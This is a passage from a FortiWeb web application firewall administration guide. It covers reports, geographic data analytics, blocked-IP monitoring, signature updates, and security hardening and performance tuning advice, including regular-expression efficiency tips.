Report Files	Displays the name of the generated report, the date and time at which it was generated, and, if necessary to distinguish it from other reports generated at that time, a sequence number. For example, Report_1-2008-03-31-2112_018 is a report named "Report_1", generated on March 31, 2008 at 9:12 PM. It was the nineteenth report generated at that date and time (the first report generated at that time did not have a sequence number). To view the report in HTML format, click the name of the report. The report appears in a pop-up window. To view only an individual section of the report in HTML format, click the blue triangle next to the report name to expand the list of HTML files that comprise the report, then click one of the file names.
Started	Displays the data and time when the FortiWeb appliance started to generate the report.
Finished	Displays the date and time when the FortiWeb appliance completed the generated report.

Size (bytes)	Displays the file size in bytes of each of the HTML files that comprise an HTML-formatted report. This column is empty for the overall report, and contains sizes only for its component files. To see the component files, click the blue expansion arrow.
Other Formats (links)	Click the name of an alternative file format, if any were configured to be generated by the report profile, to download the report in that file format.

See also

- [Configuring logging](#)
- [Reports](#)
- [Data analytics](#)

Data analytics

In addition to log-based reports, FortiWeb also includes data analytics to help you track web server usage from a page hit, traffic volume, and attack point of view.

See also

- [Sequence of scans](#)
- [Reports](#)

Configuring policies to gather data

Before data analytics can provide meaningful information, you must:

1. Upload a geographic location data file (see [“Updating data analytics definitions” on page 584](#)).
2. Enable the [Data Analytics](#) option on any inline protection or offline protection profile used by your server policies.
3. Wait for the appliance to collect data about traffic flows.

See also

- [Configuring a protection profile for inline topologies](#)
- [Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)
- [Updating data analytics definitions](#)
- [Viewing web site statistics](#)
- [Reports](#)

Updating data analytics definitions

Similar to other signatures and definitions used by FortiWeb, you can update the geographical mappings of public IP addresses to countries used by the data analytics feature.


To update data analytics definitions

1. Download the .dat file from the Fortinet Technical Support web site:

<https://support.fortinet.com/>

If you want to check the integrity of the .dat file, also download its checksum (.md5). For instructions on how to use it, see the documentation for your checksum software.

2. Log in to the web UI of the FortiWeb appliance as the `admin` administrator, or an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category.
3. Go to *System > Maintenance > Backup & Restore*.
To access this submenu, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see “Permissions” on page 46.
4. In the *Data Analytics* area, click *Browse*.



The screenshot shows a web interface titled 'Data Analytics'. Below the title is a 'From File:' label followed by a text input field and a 'Browse...' button. Below the input field is an 'Upload' button.

5. Select the .dat file.
6. Click *Open*.
The file name appears in the *From File* field.
7. Click *Upload*.
Your browser uploads the file. A message appears to display the progress of the upload. Time required varies by the size of the file and the speed of your network connection.

See also

- [Configuring policies to gather data](#)
- [Viewing web site statistics](#)
- [Reports](#)

Viewing web site statistics

Log&Report > Monitor > Data Analytics displays statistics on traffic from clients internationally, web page hits, and attacks. Clients' locations are determined by source IP address, which is then mapped to its current known location:

- **A country/region, state, and city** — Public IP addresses that are known to belong to routers in a specific physical location.
- **Undetermined City/State** — An IP address where the exact city and/or state could not be determined. This appears when zooming in to view a country. An IP with an undetermined

city/state can occur if complete, precise location data is not available, or perhaps if the IP address belongs to multiple regions such as can occur in border regions.

- **Internal IPs** — 10.*, 172.16.*, or 192.168.* addresses that are reserved for private networks according to RFC 1918, and therefore might be located anywhere on the planet.



To make sure that the mappings are correct, you should periodically update FortiWeb's geography-to-IP mappings. See [“Updating data analytics definitions” on page 584](#).

If all client IP addresses appear to originate on private networks (“Internal IPs”) and especially from a single IP, SNAT may be interfering and you may need to configure FortiWeb to deduce the client's location using X-headers instead. See [“Defining your proxies, clients, & X-headers” on page 256](#).

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).



The data analytics feature can be resource-intensive. To avoid impacting performance, view the data analytics report in off-peak hours.

Data analytics organizes the data collected by server policies into two distinct cross-sections. Click the buttons on the top right corner to toggle between:

- *Geographic Location View* — Displays data per clients' geographical location (e.g. Canada, China, Portugal, Morocco, Brazil, Australia, etc.) in graphical format.

While this view is selected, a format toggle appears below the view toggle. The format toggle allows you to choose what will accompany the data analytics charts: either *List* (for a table of statistics by country) or *Map* (for a map of the Earth). To display the statistics for a country/region, hover your mouse cursor over it. The statistics will appear in a tool tip.

If you click a specific country/region on the map of the Earth, the map will zoom in to show the states within that area. Similar to the view of the entire Earth, to display statistics for a sub-region, hover your mouse cursor over it. The statistics appear in a tool tip.



If traffic from a country is predominantly attacks instead of legitimate requests, you can block it. See [“Blacklisting countries & regions” on page 321](#).

Figure 66:Data analytics' geographical location view (map)





Figure 67:Data analytics' geographical location view (table)



Select either:

- *Hit* — Display the number of legitimate page hits, and percentage of total requests, originating from each country. In the unlabeled column to the right of the *Percentage* column, icons indicate the range of

percentage by color-coded dots:

Red — Greater than 12%

Orange — 9% - 12%

Yellow — 6% - 9%

Blue — 3% - 6%

Green — 0% - 3%

- *Data* — Display the traffic volume in bytes, and percentage of total requests, originating from country.
- *Attack* — Display the attack count, and percentage of total requests, originating from each country.



Geographic location is based upon the apparent origin according to the source IP address of the request. Accuracy may vary due to network address translation (NAT) and/or clients' use of proxies such as [Tor](#) and IPSec, SSH, or other VPN tunnels which alter the source IP address in packets and therefore can cause clients' traffic to appear to originate from a location other than their actual location.

- *Web Site View* — Displays data about the popular URLs and commonly attempted attacks on your web sites in graphical format. The page includes a pie chart (if there is data available) and two panels with bar graphs.

Figure 68:Data analytics web site view



From the *Type* drop-down lists, select either:

- *Hit* — Display the top 10 countries of origin for legitimate page hits.
- *Flow* — Display the top 10 countries of origin for traffic volume.
- *Attack* — Display the top 10 countries of origin for attacks.

In the *Top 10 Panel*, from the *Category* drop-down list, select either:

- *Host* — Display the top 10 domain names by hits, attacks, or traffic volume (depending on your selection in *Type*).
- *URL* — Display the top 10 URLs by hits, attacks, or traffic volume (depending on your selection in *Type*).

In the *Time Trend Panel*, from the *Time Interval* drop-down list, select a time interval (e.g. *1 Week*), then click the *Pre Period* (previous) and *Next Period* buttons to advance by that

interval through the time span that you have selected in either *Time Range* or your custom data filter.

For example, if *Type* is *Attack* and *Category* is *Host*, the panel displays the 10 domains that received the most attack attempts. Let's say that a trend of attacking www.example.com is consistent over time. (You could confirm this suspicion in the *Time Trend Panel*.) This could represent either an advanced persistent threat (APT) — an attacker that is an adversary of that specific organization, and likely to continue and attempt more evolved threats until she or he discovers a viable exploit — or it could simply be an attack attempt because security-wise, that specific web server is an easy target. Attacks on weak hosts might be discouraged by applying patches, cloaking the web server, configuring sever protection rules on FortiWeb to mitigate the host's weaknesses, etc. An APT however, indicates a collectively greater risk than a lone attack attempt against a weak host, and will likely continue regardless of increasing attack difficulty. If you determine that the attacker(s) is an APT, you might decide to devote more resources to protecting that web server, including a full web application source code and security practice audit, as well as configuring anti-defacement.

Both cross-sections have common controls:

- Click *Refresh* to re-populate the graphs with the most recent data. (The web UI displays data current at the time of the most recent refresh or page load. It does not continuously update.)
- Click *Generate PDF* to download a PDF copy of the current statistics.
- Select either:
 - *Pre-defined* — Choose a time span from the *Time Range* drop-down list to view its statistics.
 - *Custom-defined* — Define the domain name (Host :), URL, policy name, and/or time span to include matching statistics. For details, see [“Filtering the data analytics report”](#).

See also

- [Updating data analytics definitions](#)
- [Configuring policies to gather data](#)
- [Filtering the data analytics report](#)
- [Reports](#)

Filtering the data analytics report

By default, in *Filter Type*, the *Pre-defined* option is selected, and so the data analytics reports include statistics based solely upon one of a few pre-defined time periods, which you can select from *Time Range*.

However, you can define your own time span, as well as filter statistics based upon criteria other than time.

To create a custom statistical filter

1. Go to *Log&Report > Monitor > Data Analytics*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

2. Select the view to use: *Web Site View* or *Geographic Location View*.
3. From *Filter Type*, select the *Custom-defined* option.
4. Click *Filter*.

A dialog appears.

- Configure the following criteria, if any, that a statistic must match in order to be included in the report:

Filter Panel

Policy:

Host:

URL:

Case Sensitivity ☐

Use Time Filter: ☐

From:

Hour

Minute

Second

To:

Hour

Minute

Second

Setting name	Description
Policy	Type the name of a server policy that is gathering data for data analytics. It must use a profile where you have enabled Data Analytics . Otherwise, it will not include any statistics.
Host	Type a domain name or IP address in the <code>Host :</code> field of the HTTP header of requests.
URL	Type a URL. It usually should be a web page that initiates a session. (Session-initiating URL hit counts may more closely correlate to visit counts. For example, web application preference pages are seldom visited in a session.)
Case Sensitivity	Enable to differentiate uniform resource locators (URLs) and <code>Host :</code> HTTP header fields according to upper case and lower case letters. For example, when this option is enabled, an HTTP request involving <code>http://www.Example.com/index</code> would not match if Host is <code>www.example.com</code> and URL is <code>/index</code> (difference is lower case "e").
Use Time Filter	Enable to use only statistics within a specific time period, defined by From and To .
From	Click the calendar icon or its accompanying text field to define the date at the beginning of the time period, then select the <i>Hour</i> , <i>Minute</i> , and <i>Second</i> to define the time of day.
To	Click the calendar icon or its accompanying text field to define the date at the end of the time period, then select the <i>Hour</i> , <i>Minute</i> , and <i>Second</i> to define the time of day.

6. Click **OK**.

The page refreshes and displays data restricted by the new filter. The filter applies until you either:

- In *Filter Type*, choose *Pre-defined*, then select a predefined *Time Range*.
- Clear the filter by clicking the *Filter* button to raise the dialog again, click *Reset*, then click *OK*.

See also

- [Viewing web site statistics](#)

Monitoring currently blocked IPs

Log&Report > Monitor > Blocked IPs displays all client IP addresses whose requests the FortiWeb appliance is temporarily blocking because the client violated a rule whose *Action* is *Period Block*. Since at any given time a period block might be applied by one server policy but **not** by another, client IPs are sorted by and listed under the names of server policies.

Refresh		
#	IP	Release
Policy: policy1		
1	172.20.120.46	

If a client was inadvertently blocked due to a false positive, you can immediately release it from being blocked by clicking the *Delete* icon next to its entry in this table. (If it is being blocked by multiple policies, you should delete the client's entry under **each** policy name. Otherwise, the client will still be blocked by some policies.)

Alternatively, the IP address will automatically be removed from the list when its block period expires.



If a client frequently is correctly added to the period block list, and is a suspected attacker, you may be able to improve both security and performance by permanently blacklisting that source IP address. See [“Blacklisting & whitelisting clients individually by source IP”](#) on page 325 and [“Sequence of scans”](#) on page 21.

If the client is **not** an attacker, in addition to removing his or her IP from this list, you may need to adjust the configuration that caused the period block, such as adjusting DoS protection so that it does not block normal request rates. Otherwise, the client may quickly reappear in the period block list.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions”](#) on page 46.

See also

- [Blacklisting & whitelisting clients individually by source IP](#)
- [Configuring a protection profile for inline topologies](#)
- [Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)

FortiGuard updates

One of the most important things you can do is to ensure that your FortiWeb is receiving regular updates from the FortiGuard FortiWeb Web Security service and FortiGuard Antivirus service.

Without these updates, your FortiWeb cannot detect the newest threats.

Event logs record FortiGuard update attempts. In addition to scheduling polls for automatic updates, you can also manually update the service packages or initiate an connectivity test to the FDN at any time. For details, see “[Connecting to FortiGuard services](#)” on page 132.

Figure 69:FortiGuard Information widget

FortiGuard Information	
VM License	Valid [Update]
Registration	cschwartz@fortinet.com
FortiWeb FortiGuard Subscription Services	
FortiWeb Security Service	Expired (1969-12-31) Last Update Time:2013-01-11 Last Update Method: Scheduled Signature Build Number-0.00072
FortiWeb Antivirus Service	Valid Contract (Expires 2020-01-04) Last Update Time:2013-01-11 Last Update Method: Scheduled Regular Virus Database Version-17.2 Extended Virus Database Version-16.967
FortiWeb IP Reputation Service	Valid Contract (Expires 2020-01-04) Last Update Time:2013-01-11 Last Update Method: Scheduled Signature Build Number-1.00013

To keep informed about the latest security threats and news, visit:

<http://www.fortiguard.com>

Vulnerability scans

After your initial deployment, it is a good idea to periodically scan your web servers for newly discovered vulnerabilities to current threats. If you discover new threats, adjust your configuration to combat them.

Without periodic scans, you may not be aware of the newest threats, and you may not have configured your FortiWeb defend against them.

For details, see “[Vulnerability scans](#)” on page 492.



If you have many web servers, you may want a [FortiScan](#) appliance to:

- integrate and automate patch deployment
- deepen vulnerability scans
- prioritize and track fixes via ticketing
- offload and distribute scans to improve performance and remove bottlenecks

Fine-tuning & best practices

This topic is a collection of fine-tuning and best practice tips and guidelines to help you configure your FortiWeb appliances for the most secure and reliable operation.

While many features are optional or flexible such that they can be used in many ways, some practices are generally a good idea because they reduce complication, risk, or potential issues.



This section includes **only** recommendations that apply to a combination of multiple features, to the entire appliance, or to your overall network environment.

For feature-specific recommendations, see the tips in each feature's instructions.

Hardening security

FortiWeb is designed to enhance the security of your web sites and web applications, and when fully configured, it can automatically plug holes commonly used by attackers to compromise a system.

This section lists tips to further enhance security.

Topology

- To protect your web servers, install the FortiWeb appliance or appliances between the web servers and a general purpose firewall such as a FortiGate. FortiWeb **complements, and does not replace, general purpose firewalls**. FortiWeb appliances are designed specifically to address HTTP/HTTPS threats; general purpose firewalls have more features to protect at lower layers of the network.
- Make sure web traffic cannot bypass the FortiWeb appliance in a complex network environment.
- Disable all network interfaces that should not receive any traffic.

Figure 70:Disabling port4 in *System > Network > Interface*

#	Name	IPv4 / Netmask	IPv4 Access	IPv6 / Netmask	IPv6 Access	Status	Link Status	Type	Ref.
☐	port1	172.20.120.47/24	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET			Physical	3
☒	port2	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET			Physical	1
☐	vlan200	192.0.2.10/24		::/0				VLAN	0
☐	port3	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET			Physical	0
☐	port4	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET			Physical	0

For example, if administrative access is typically through port1, the Internet is connected to port2, and web servers are connected to port3, you would disable (“bring down”) port4. This

would prevent an attacker with physical access from connecting a cable to port4 and thereby gaining access if the configuration inadvertently allows it.

- Define the IP addresses of other trusted load balancers or web proxies to prevent spoofing of HTTP headers such as X-Forwarded-For: and X-Real-IP: (see “[Defining your proxies, clients, & X-headers](#)” on page 256).

New X-Forwarded-For Rule

Name

Add X-Forwarded-For: ☐

Enable to add an X-Forwarded-For: header with the connection's source IP. Requires reverse proxy mode.

Add X-Real-IP: ☐

Enable to add an X-Real-IP: header with the connection's source IP. Requires reverse proxy mode.

Use X-Header to Identify Original Client's IP ☐ X-FORWARDED-FOR

IP Location in X-Header Left ☒ Right ☐

Block Using Original Client's IP ☐

If you have a front-end load balancer or proxy, enable to use the IP in an X-header, not the connection's source IP, to define the original client for logs and reports and, if enabled, blocking. To prevent forgery, define trusted sources of this header.

OK Cancel

Create New Trusted X-Header Sources

ID	IP

Administrator access

- As soon as possible during initial FortiWeb setup, give the default administrator, `admin`, a password. This **super**-administrator account has the highest level of permissions possible, and access to it should be limited to as few people as possible.
- Change all administrator passwords regularly. Set a policy — such as every 60 days — and follow it. (Click the *Edit Password* icon to reveal the password dialog.)

Figure 71: *Edit Password* dialog in System > Admin > Administrators

Edit Password

Administrator auditor1


New Password

Confirm Password

OK Cancel

- Instead of allowing administrative access to the FortiWeb appliance from any source, restrict it to trusted internal hosts. (IPv6 entries of `::/0` will be ignored, but you should configure all IPv4 entries.) See “[Trusted hosts](#)” on page 50. On those computers that you have designated for management, apply strict patch and security policies. Always password-encrypt any FortiWeb configuration backup that you download to those computers to mitigate the information that attackers can gain from any potential compromise. See “[Encryption Password](#)” on page 207.

Figure 72: New Administrator dialog in System > Admin > Administrators




The 'New Administrator' dialog box contains the following fields and controls:

- Administrator:
- Type:
- Password:
- Confirm Password:
- IPv4 Trusted Host #1:
- IPv4 Trusted Host #2:
- IPv4 Trusted Host #3:
- IPv6 Trusted Host #1:
- IPv6 Trusted Host #2:
- IPv6 Trusted Host #3:
- Access Profile:
- Buttons:

- Do not use the default administrator access profile for all new administrators. Create one or more access profiles with limited permissions tailored to the responsibilities of the new administrator accounts. See [“Configuring access profiles” on page 213](#).
- By default, an administrator login that is idle for more than five minutes times out. You can change this to a longer period in [Idle Timeout](#), but Fortinet does not recommend it. Left unattended, a web UI or CLI session could allow anyone with physical access to your computer to change FortiWeb settings. Small idle timeouts mitigate this risk.
- Administrator passwords should be at least 8 characters long and include both numbers and letters. For additional security, use [Enable Strong Passwords](#) to force the use of stronger passwords. See [“Global web UI & CLI settings” on page 50](#).

Figure 73: Strengthening passwords and the idle timeout System > Admin > Settings



The 'Administrators Settings' dialog box contains the following sections and controls:

- Web Administration Ports**
 - HTTP:
 - HTTPS:
 - Config-Sync:
- Timeout Settings**
 - Idle Timeout: (1-480 mins)
- Language**
 - Web Administration:
- Security Settings**
 - ☐ Enable Single Admin User login
 - ☒ Enable Strong Passwords
 - Strong password rule:
 - 1. Between 8-16 characters
 - 2. Minimum of one upper case and one lower case
 - 3. Minimum of one numeric
 - 4. Minimum of one non alphanumeric character
- Buttons:

- Restrict administrative access to a single network interface (usually port1), and allow only the management access protocols needed.

Figure 74:Restricting accepted administrative protocols in the *Edit Interface* dialog in *System > Network > Interface*

Use only the most secure protocols. Disable [PING](#), except during troubleshooting. Disable [HTTP](#), [SNMP](#), and [TELNET](#) unless the network interface only connects to a trusted, private administrative network. See “[Configuring the network interfaces](#)” on page 111.

- Disable all network interfaces that should not receive any traffic.

Figure 75:Disabling port4 in *System > Network > Interface*

#	Name	IPv4 / Netmask	IPv4 Access	IPv6 / Netmask	IPv6 Access	Status	Link Status	Type	Ref.
1	port1	172.20.120.47/24	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	Up	Physical	3
2	port2	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	Up	Physical	1
3	vlan200	192.0.2.10/24		::/0		Bring Down	Up	VLAN	0
4	port3	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	Up	Physical	0
5	port4	0.0.0.0/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	::/0	HTTPS,PING,SSH,SNMP,HTTP,TELNET	Bring Down	Up	Physical	0

For example, if administrative access is typically through port1, the Internet is connected to port2, and web servers are connected to port3, you would disable (“bring down”) port4. This would prevent an attacker with physical access from connecting a cable to port4 and thereby gaining access if the configuration inadvertently allows it.

- Similar to applying trusted host filters to your FortiWeb administrative accounts, apply URL access control rules to limit potentially malicious access to the administrative accounts of each of your web applications from untrusted networks. See “[Restricting access to specific URLs](#)” on page 311.

User access

- Authenticate users only over encrypted channels such as HTTPS, and require mutual authentication — the web server or FortiWeb should show its certificate, but the client should **also** authenticate by showing its certificate. Password-based authentication is less secure than PKI authentication. For certificate-based client authentication, see “[How to apply PKI client authentication \(personal certificates\)](#)” on page 283. For certificate-based server/FortiWeb authentication, see “[How to offload or inspect HTTPS](#)” on page 273.
- Immediately revoke certificates that have been compromised. If possible, automate the distribution of certificate revocation lists (see “[Revoking certificates](#)” on page 308).

Signatures & patches

- Upgrade to the latest available firmware to take advantage of new security features and stability enhancements (see “[Updating the firmware](#)” on page 75).
- Use FortiWeb services to take advantage of new definitions for viruses, predefined robots, data types, URL patterns, disreputable clients, and attack signatures.

Update methods can be either:

- Manual (see “[Uploading signature & geography-to-IP updates](#)” on page 144 or “[Manually initiating update requests](#)” on page 142)
- Automatic (see “[Scheduling automatic signature updates](#)” on page 139)

Figure 76:System > Config > FortiGuard

FortiGuard Distribution Network

Support Contract

Registration [Unregistered] [\[Register\]](#)

FortiWeb FortiGuard Subscription Services

FortiWeb Security Service	Expired (1969-12-31) [Renew] Last Update Time:1999-11-29 Last Update Method: Manual [Update] Signature Build Number-0.00076
FortiWeb Antivirus Service	Expired (1969-12-31) [Renew] Last Update Time:2011-12-07 Last Update Method: Manual [Update] Regular Virus Database Version-14.00922 Extended Virus Database Version-14.00922
FortiWeb IP Reputation Service	Expired (1969-12-31) [Renew] Last Update Time:1999-11-29 Last Update Method: Manual [Update] Signature Build Number-1.00020

FortiWeb Update Service Options

☐ Use override server address

☒ **Scheduled Update** [Update Now](#)

☒ Every 1 (hour)

☐ Daily: 0 (hour)

☐ Weekly: Sunday (day) 0 (hour)

FortiWeb Virus Database

☐ **Regular Virus Database**

Version 14.922
Included Signatures 2
Included Grayware Signatures 17
Description This virus database includes "In the Wild" viruses and most commonly seen viruses on the network. For regular virus protection, it is sufficient to use this database.

☒ **Extended Virus Database**

Version 14.922
Included Signatures 2
Included Grayware Signatures 17
Description This virus database includes both "In the Wild" viruses and a large collection of "zoo" viruses that are no longer seen in recent virus studies. The use of this database can be enabled in the Protection Profile. It is suitable for an enhanced security environment.

Maximum av cache size 4999 KB

[Apply](#)

Buffer hardening

While analyzing traffic, FortiWeb's HTTP parser must extract and buffer each part in the request or response. The buffer allows FortiWeb to scan and/or rewrite it before deciding to block or forward the finished traffic. Buffers are not infinite — due to the physical limitations inherent in all RAM, they are allocated a maximum size. If the part of the request or response is too large to fit the buffer, FortiWeb must either pass or block the traffic without further analysis of that part.

Practically speaking, while oversized requests are not common, when they do exist, they may be harmless. Movie uploads are a common example. HTTP `GET` requests involving many database queries with encrypted values are another example. In these cases, hardening the

buffer could result in many false positives during normal use. Such false positives are to be avoided because the flood of information could distract you from real attacks.

In terms of attacks, large DoS attacks from a single attacker are impractical: if the attacking host must consume its own bandwidth or CPU faster than the web server can process it, the attack won't work. Therefore DoS request traffic is unlikely to be oversized.

Determined attackers, though, often craft oversized requests to mask an exploit. Tactics to pad an attack with harmless data in order to push the payload beyond the scan buffer are popular with more knowledgeable APT attackers, and with black hat researchers crafting exploit packages for Metasploit and other tools that ultimately land in the hands of script kiddies. Similar to buffer overflow attacks, these padded attacks attempt to bypass and exploit inherent limits. If a request cannot fit into the buffer, it might be a padded attack.

If your web applications do not require oversized requests to work, you can toughen security by blocking oversized requests. Configure HTTP constraints with [Malformed Request](#) etc. (see “[HTTP/HTTPS protocol constraints](#)” on page 430). Also configure exceptions for URLs that require you to ignore the buffer limitations, such as music or movie uploads.

To determine your appropriate HTTP constraints, first observe your normal traffic. Compare it with FortiWeb's buffer counts and maximum sizes.

Table 57: FortiWeb buffer configuration

Buffer	Limit	Block oversized requests using
URL size, excluding appended parameters and the parameter delimiter (?) (e.g. /path/to/app)	Usually 2 KB	Malformed Request
URL parameters' total size	Cache	Total URL and Body Parameters Length
URL parameter's individual size	Configurable (see http-cache size in the FortiWeb CLI Reference)	Malformed Request
Number of parameters	64	Malformed Request
HTTP header lines' total size	4 KB	Header Length
HTTP header line's individual size	Cache	Header Line Length
Number of HTTP header lines	32	Number of Header Lines In Request
Cookies' total size	2 KB	Malformed Request
Number of cookies	32	Number of Cookies In Request
Adobe Flash (AMF) parameters' total size	Cache	Total URL Parameters Length
Number of Adobe Flash (AMF) parameters	32	Malformed Request

Table 57: FortiWeb buffer configuration

Buffer	Limit	Block oversized requests using
File uploads' total size	Cache	<i>Body Length</i>
Number of file uploads	8	<i>Malformed Request</i>



Other buffers also exist. Their limitations, however, vary dynamically.

Enforcing valid, applicable HTTP

- If your web server does not require anything other than GET or POST, disable unused HTTP methods to reduce vectors of attack. See [“Specifying allowed HTTP methods” on page 426](#).
- Enforce RFC compliance and any limitations specific to your back-end web servers or applications to defeat exploit attempts. See [“HTTP/HTTPS protocol constraints” on page 430](#) and [“Limiting file uploads” on page 440](#).

Sanitizing HTML application inputs

Most web applications are not written with security in mind, and do not correctly sanitize input. Before a signature or patch is available, you can still block new input-related attacks by rejecting all invalid input that could potentially break the intended behavior of ASP, PHP, JavaScript or other applications. See [“Configuring parameter validation \(input rules\)” on page 411](#) and [“Preventing tampering with hidden inputs” on page 420](#).

Improving performance

When configuring your FortiWeb appliance and its features, there are many settings and practices that can yield better performance.

System performance

- Delete or disable unused policies. FortiWeb allocates memory with each server policy, regardless of whether it is actually in active use. Configuring extra policies will unnecessarily consume memory and decrease performance.
- To reduce latency associated with DNS queries, use a DNS server on your local network as your primary DNS. See [“Configuring DNS settings” on page 128](#).
- If your network's devices support them, you can create one or more VLAN interfaces. VLANs reduce the size of a broadcast domain and the amount of broadcast traffic received by network hosts, thus improving network performance. See [“Adding VLAN subinterfaces” on page 115](#).
- If you have enabled the server health check feature as part of a server farm and one of the servers is down for an extended period, you may improve the performance of your FortiWeb appliance by disabling the physical server, rather than allowing the server health check to

continue checking for the server's responsiveness. See [“Configuring server up/down checks” on page 244](#).

- Use the least intensive, earliest possible scan to deflect attacks. See [“Sequence of scans” on page 21](#).
- Use *Period Block* if possible as the [Action](#) setting for DoS protection rules. This allows FortiWeb to conserve scanning resources that will by definition be under heavy demand during a DoS or DDoS attack.

Antivirus performance

- Disable scanning of BZIP2 if it is not necessary.
- Reduce the scanning buffer to the minimum necessary.
- Reduce the number of redundant levels of compression that FortiWeb will scan. Normally, people will not put a ZIP file within a ZIP file, because it is inconvenient to open and does not offer significant compression ratio improvements. Nested compression is usually used by viruses to bypass antivirus scanners.

Regular expression performance tips

- **Use a simple string instead if possible.** Generally, regular expressions should only be used when defining all matching text requires a complex pattern. Regular expressions such as:

```
^.*\/index\.html$
```

are usually more computationally intensive than a literal string comparison such as:

```
/index.html
```

- **Reduce evaluation complexity.**



Short regular expressions can sometimes be more complex to compute. Don't look at the number of characters in the regular expression. Instead, think of both the usual and worst possible case in the match string: the maximum number of characters that must be compared to the pattern before a match can be verified or not.

The usual case will tell you the average CPU and RAM load. The worst case will tell you if your regular expression could sometimes cause potential hang-like conditions, temporarily blocking traffic throughput until it finishes evaluating.



If the worst possible match string is short and not complex to match, the regular expression may not be worth your time to optimize.

For example, when using auto-learning to discover if street addresses are a valid input, scanning for postal codes or state abbreviations instead may dramatically improve performance. A pattern to fully match all possible street addresses is significantly more

complex, involving many more computations, and the most difficult addresses to verify might be complex enough to impact traffic throughput.



If missed matches are an acceptable performance trade-off (for example, if matching 99% of cases is efficient, but matching 100% of cases would require deep recursion), or if you do not need to match the whole text, remove the unnecessary part of the regular expression.

For example, if a phone number always resembles 555-5555, your regular expression would not have to accommodate cases where a space separates the numbers, or it is prefixed by a country code. This is less comprehensive, but also less CPU-intensive.

- **Avoid backtracking** (i.e. revisiting the match string after failing to match part of the pattern). Backtracking occurs when regular expression features use recursion (definite or indefinite). **This can increase execution time exponentially.** Examples include the following:
 - **Avoid nested parentheses with indefinite repeats** such as:
`^ ( (a+) b+ ) *`
which can take a very long time to evaluate, especially if a long string does not match, but this cannot be determined until the very last character is evaluated.
In the above example, both the + and * indicate matches that repeat potentially infinitely, forcing the regular expression engine to continue until it finds the longest possible match (or runs out of RAM; see [“Killing system-intensive processes” on page 639](#)). Using both in a nested set of parentheses compounds the problem.
 - Minimize capture groups and back-references such as:
`(/a) (/b) (/c)`
`$0$1\?user=$2`
To use back-references, FortiWeb must keep the text that matched the capture groups in memory, which increases RAM consumption.
 - Order matters if using alternate match patterns (i.e. multiple patterns are concatenated with a pipe (|)). Put rare patterns last. If you put less likely patterns first, most times

FortiWeb will be evaluating the string multiple times — not once — before it finds a match. This significantly decreases performance.

When comparing single characters, use character classes such as:

```
[abc]
```

instead of alternative matches like

```
(a|b|c)
```

Match character by character, not word by word. If words begin with the same characters, it is not efficient to evaluate the beginning of the match string multiple times — once for each possible word.

For example, to match the words “the”, “then”, “this”, and “these”, this expression is easy to read, but inefficient because it evaluates the first two characters (“th”) up to 4 times:

```
\b(this|the|then|these)\b
```

While harder to read, this expression improves performance, evaluating “th” once, and will match the most common word in English (“the”) before considering less probable words:

```
\bth(e(n|se)|is)\b
```

- Reduce nested quantifiers such as:

```
(abc){1,6}
```

```
(abc)+
```

Worst-case evaluations do not increase computation time linearly, but exponentially. When such an expression is compiled, it also consumes much more RAM. Use the smallest possible repetition, or an alternative expression.

- Avoid Unicode character properties such as `/p{Nd}` if you can use a character class instead. Due to the huge numbers and complexity of potential matches in Unicode, these can be dramatically slower.
- Avoid look-ahead match conditions such as:

```
?=abcdefg
```



```
?!abcdefg
```

To do this, FortiWeb must make additional computations — in the example above, 8 in the best case scenario, an immediate match. FortiWeb also must keep the originally consumed match string in memory while it does this, which increases RAM consumption.

Logging performance

- If you have a FortiAnalyzer, store FortiWeb’s logs on the FortiAnalyzer to avoid resource usage associated with writing logs to FortiWeb’s own hard disks. See [“Configuring log destinations” on page 536](#).
- If you do not need a traffic log, disable it to reduce the use of system resources. See [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).
- Reduce repetitive log messages. Use the alert email settings, as shown in [Figure 77](#), to define the interval that emails are sent if the same condition persists following the initial occurrence. See [“Configuring email settings” on page 563](#).

Figure 77:Log&Report > Log Policy > Email Policy

Log Level	Alert	
Emergency	1	Minutes
Alert	2	Minutes
Critical	3	Minutes
Error	5	Minutes
Warning	10	Minutes
Notification	20	Minutes
Information	30	Minutes
Debug	60	Minutes

- Avoid recording log messages using low severity thresholds, such as information or notification, to the local hard disk for an extended period of time. Excessive logging frequency saps system resources and can cause undue wear on the hard disk and may cause premature failure. See [“Configuring log destinations” on page 536](#).

Report performance

Generating reports can be resource intensive. To avoid performance impacts, consider scheduling report generation during times with low traffic volume, such as at night and on weekends. See [Figure 78](#) and [“Scheduling reports” on page 581](#).

Figure 78:Log&Report > Report Config > Report Config

